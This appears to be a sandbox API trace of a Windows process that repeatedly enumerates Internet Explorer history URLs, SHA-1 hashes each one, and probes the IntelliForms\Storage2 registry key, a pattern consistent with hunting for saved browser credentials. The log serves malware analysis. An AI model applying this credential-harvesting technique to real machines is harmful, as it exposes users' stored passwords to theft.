	[0211.293] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.293] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.293] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.293] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.294] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.294] CoTaskMemFree (pv=0x5a1620) 
	[0211.294] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e800) returned 1
	[0211.295] GetLastError () returned 0x0
	[0211.295] CryptCreateHash (in: hProv=0x54e800, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.295] GetLastError () returned 0x0
	[0211.295] CryptHashData (hHash=0x5bb4b0, pbData=0x2562cec, dwDataLen=0x98, dwFlags=0x0) returned 1
	[0211.295] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2562e0c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2562e0c, pdwDataLen=0x5ffde9c) returned 1
	[0211.295] GetLastError () returned 0x0
	[0211.295] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.295] CryptReleaseContext (hProv=0x54e800, dwFlags=0x0) returned 1
	[0211.295] GetLastError () returned 0x0
	[0211.295] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.295] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.295] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.296] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.296] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.296] CoTaskMemFree (pv=0x5a1940) 
	[0211.296] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e800) returned 1
	[0211.298] GetLastError () returned 0x0
	[0211.298] CryptCreateHash (in: hProv=0x54e800, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.298] GetLastError () returned 0x0
	[0211.298] CryptHashData (hHash=0x5bb4b0, pbData=0x2563b2c, dwDataLen=0x94, dwFlags=0x0) returned 1
	[0211.298] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2563c48, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2563c48, pdwDataLen=0x5ffde9c) returned 1
	[0211.298] GetLastError () returned 0x0
	[0211.298] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.298] CryptReleaseContext (hProv=0x54e800, dwFlags=0x0) returned 1
	[0211.298] GetLastError () returned 0x0
	[0211.298] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.298] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.298] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.299] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.299] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.299] CoTaskMemFree (pv=0x5d6390) 
	[0211.300] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e800) returned 1
	[0211.301] GetLastError () returned 0x0
	[0211.301] CryptCreateHash (in: hProv=0x54e800, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.301] GetLastError () returned 0x0
	[0211.301] CryptHashData (hHash=0x5bb4b0, pbData=0x2564980, dwDataLen=0xa0, dwFlags=0x0) returned 1
	[0211.301] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2564aa8, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2564aa8, pdwDataLen=0x5ffde9c) returned 1
	[0211.301] GetLastError () returned 0x0
	[0211.301] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.301] CryptReleaseContext (hProv=0x54e800, dwFlags=0x0) returned 1
	[0211.301] GetLastError () returned 0x0
	[0211.301] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.301] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.301] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.302] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.302] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.302] CoTaskMemFree (pv=0x5479d8) 
	[0211.302] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e998) returned 1
	[0211.304] GetLastError () returned 0x0
	[0211.304] CryptCreateHash (in: hProv=0x54e998, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.304] GetLastError () returned 0x0
	[0211.304] CryptHashData (hHash=0x5bb4b0, pbData=0x2565770, dwDataLen=0x68, dwFlags=0x0) returned 1
	[0211.304] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2565860, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2565860, pdwDataLen=0x5ffde9c) returned 1
	[0211.304] GetLastError () returned 0x0
	[0211.304] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.304] CryptReleaseContext (hProv=0x54e998, dwFlags=0x0) returned 1
	[0211.304] GetLastError () returned 0x0
	[0211.304] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.304] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.304] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.305] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.305] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.306] CoTaskMemFree (pv=0x5de990) 
	[0211.306] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e998) returned 1
	[0211.307] GetLastError () returned 0x0
	[0211.307] CryptCreateHash (in: hProv=0x54e998, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.307] GetLastError () returned 0x0
	[0211.307] CryptHashData (hHash=0x5bb4b0, pbData=0x25665a8, dwDataLen=0xa8, dwFlags=0x0) returned 1
	[0211.307] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x25666d8, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x25666d8, pdwDataLen=0x5ffde9c) returned 1
	[0211.307] GetLastError () returned 0x0
	[0211.307] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.307] CryptReleaseContext (hProv=0x54e998, dwFlags=0x0) returned 1
	[0211.307] GetLastError () returned 0x0
	[0211.307] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.308] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.308] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.308] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.309] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.309] CoTaskMemFree (pv=0x5deba0) 
	[0211.309] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e998) returned 1
	[0211.311] GetLastError () returned 0x0
	[0211.311] CryptCreateHash (in: hProv=0x54e998, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.311] GetLastError () returned 0x0
	[0211.311] CryptHashData (hHash=0x5bb4b0, pbData=0x2567418, dwDataLen=0xa4, dwFlags=0x0) returned 1
	[0211.311] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2567544, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2567544, pdwDataLen=0x5ffde9c) returned 1
	[0211.311] GetLastError () returned 0x0
	[0211.311] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.311] CryptReleaseContext (hProv=0x54e998, dwFlags=0x0) returned 1
	[0211.311] GetLastError () returned 0x0
	[0211.311] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.311] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.311] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.312] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.312] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.312] CoTaskMemFree (pv=0x5d57c0) 
	[0211.312] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e998) returned 1
	[0211.313] GetLastError () returned 0x0
	[0211.313] CryptCreateHash (in: hProv=0x54e998, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.313] GetLastError () returned 0x0
	[0211.313] CryptHashData (hHash=0x5bb4b0, pbData=0x25681fc, dwDataLen=0x60, dwFlags=0x0) returned 1
	[0211.313] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x25682e4, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x25682e4, pdwDataLen=0x5ffde9c) returned 1
	[0211.313] GetLastError () returned 0x0
	[0211.314] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.314] CryptReleaseContext (hProv=0x54e998, dwFlags=0x0) returned 1
	[0211.314] GetLastError () returned 0x0
	[0211.314] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.314] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.314] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.314] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.315] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.315] CoTaskMemFree (pv=0x5d5140) 
	[0211.315] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e998) returned 1
	[0211.316] GetLastError () returned 0x0
	[0211.316] CryptCreateHash (in: hProv=0x54e998, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.316] GetLastError () returned 0x0
	[0211.316] CryptHashData (hHash=0x5bb4b0, pbData=0x2568f9c, dwDataLen=0x60, dwFlags=0x0) returned 1
	[0211.316] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2569084, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2569084, pdwDataLen=0x5ffde9c) returned 1
	[0211.316] GetLastError () returned 0x0
	[0211.316] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.316] CryptReleaseContext (hProv=0x54e998, dwFlags=0x0) returned 1
	[0211.316] GetLastError () returned 0x0
	[0211.316] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.316] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.317] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.317] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.318] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.318] CoTaskMemFree (pv=0x5479d8) 
	[0211.318] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e998) returned 1
	[0211.319] GetLastError () returned 0x0
	[0211.319] CryptCreateHash (in: hProv=0x54e998, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.319] GetLastError () returned 0x0
	[0211.319] CryptHashData (hHash=0x5bb4b0, pbData=0x2569d4c, dwDataLen=0x68, dwFlags=0x0) returned 1
	[0211.319] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2569e3c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2569e3c, pdwDataLen=0x5ffde9c) returned 1
	[0211.319] GetLastError () returned 0x0
	[0211.319] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.319] CryptReleaseContext (hProv=0x54e998, dwFlags=0x0) returned 1
	[0211.319] GetLastError () returned 0x0
	[0211.319] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.320] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.320] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.320] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.321] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.321] CoTaskMemFree (pv=0x59da80) 
	[0211.321] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e998) returned 1
	[0211.322] GetLastError () returned 0x0
	[0211.322] CryptCreateHash (in: hProv=0x54e998, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.322] GetLastError () returned 0x0
	[0211.322] CryptHashData (hHash=0x5bb4b0, pbData=0x256ab1c, dwDataLen=0x74, dwFlags=0x0) returned 1
	[0211.322] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x256ac18, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x256ac18, pdwDataLen=0x5ffde9c) returned 1
	[0211.322] GetLastError () returned 0x0
	[0211.322] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.322] CryptReleaseContext (hProv=0x54e998, dwFlags=0x0) returned 1
	[0211.322] GetLastError () returned 0x0
	[0211.323] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.323] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.323] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.323] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.324] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.324] CoTaskMemFree (pv=0x5d5e40) 
	[0211.324] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e998) returned 1
	[0211.325] GetLastError () returned 0x0
	[0211.325] CryptCreateHash (in: hProv=0x54e998, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.325] GetLastError () returned 0x0
	[0211.325] CryptHashData (hHash=0x5bb4b0, pbData=0x256b8c4, dwDataLen=0x5a, dwFlags=0x0) returned 1
	[0211.325] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x256b9a4, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x256b9a4, pdwDataLen=0x5ffde9c) returned 1
	[0211.325] GetLastError () returned 0x0
	[0211.325] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.325] CryptReleaseContext (hProv=0x54e998, dwFlags=0x0) returned 1
	[0211.326] GetLastError () returned 0x0
	[0211.326] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.326] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.326] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.326] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.327] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.327] CoTaskMemFree (pv=0x54e558) 
	[0211.327] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e558) returned 1
	[0211.328] GetLastError () returned 0x0
	[0211.328] CryptCreateHash (in: hProv=0x54e558, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.328] GetLastError () returned 0x0
	[0211.328] CryptHashData (hHash=0x5bb4b0, pbData=0x256c698, dwDataLen=0x7e, dwFlags=0x0) returned 1
	[0211.328] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x256c79c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x256c79c, pdwDataLen=0x5ffde9c) returned 1
	[0211.328] GetLastError () returned 0x0
	[0211.328] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.328] CryptReleaseContext (hProv=0x54e558, dwFlags=0x0) returned 1
	[0211.329] GetLastError () returned 0x0
	[0211.329] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.329] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.329] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.329] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.337] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.337] CoTaskMemFree (pv=0x5d4810) 
	[0211.337] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afe30) returned 1
	[0211.339] GetLastError () returned 0x0
	[0211.339] CryptCreateHash (in: hProv=0x5afe30, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.339] GetLastError () returned 0x0
	[0211.339] CryptHashData (hHash=0x5bb4b0, pbData=0x256d46c, dwDataLen=0x6c, dwFlags=0x0) returned 1
	[0211.339] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x256d560, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x256d560, pdwDataLen=0x5ffde9c) returned 1
	[0211.339] GetLastError () returned 0x0
	[0211.339] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.339] CryptReleaseContext (hProv=0x5afe30, dwFlags=0x0) returned 1
	[0211.339] GetLastError () returned 0x0
	[0211.339] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.339] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.339] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.340] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.340] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.340] CoTaskMemFree (pv=0x58b608) 
	[0211.341] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afe30) returned 1
	[0211.342] GetLastError () returned 0x0
	[0211.342] CryptCreateHash (in: hProv=0x5afe30, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.342] GetLastError () returned 0x0
	[0211.342] CryptHashData (hHash=0x5bb4b0, pbData=0x256e260, dwDataLen=0x84, dwFlags=0x0) returned 1
	[0211.342] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x256e36c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x256e36c, pdwDataLen=0x5ffde9c) returned 1
	[0211.342] GetLastError () returned 0x0
	[0211.342] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.342] CryptReleaseContext (hProv=0x5afe30, dwFlags=0x0) returned 1
	[0211.342] GetLastError () returned 0x0
	[0211.342] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.342] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.342] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.342] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.343] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.343] CoTaskMemFree (pv=0x5d4810) 
	[0211.343] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afe30) returned 1
	[0211.344] GetLastError () returned 0x0
	[0211.344] CryptCreateHash (in: hProv=0x5afe30, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.344] GetLastError () returned 0x0
	[0211.344] CryptHashData (hHash=0x5bb4b0, pbData=0x256f038, dwDataLen=0x6a, dwFlags=0x0) returned 1
	[0211.344] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x256f128, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x256f128, pdwDataLen=0x5ffde9c) returned 1
	[0211.344] GetLastError () returned 0x0
	[0211.344] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.344] CryptReleaseContext (hProv=0x5afe30, dwFlags=0x0) returned 1
	[0211.344] GetLastError () returned 0x0
	[0211.344] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.345] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.345] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.345] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.345] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.345] CoTaskMemFree (pv=0x5ded00) 
	[0211.345] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afe30) returned 1
	[0211.346] GetLastError () returned 0x0
	[0211.346] CryptCreateHash (in: hProv=0x5afe30, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.346] GetLastError () returned 0x0
	[0211.347] CryptHashData (hHash=0x5bb4b0, pbData=0x256fe64, dwDataLen=0xa2, dwFlags=0x0) returned 1
	[0211.347] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x256ff8c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x256ff8c, pdwDataLen=0x5ffde9c) returned 1
	[0211.347] GetLastError () returned 0x0
	[0211.347] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.347] CryptReleaseContext (hProv=0x5afe30, dwFlags=0x0) returned 1
	[0211.347] GetLastError () returned 0x0
	[0211.347] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.347] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.347] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.347] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.348] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.348] CoTaskMemFree (pv=0x59d380) 
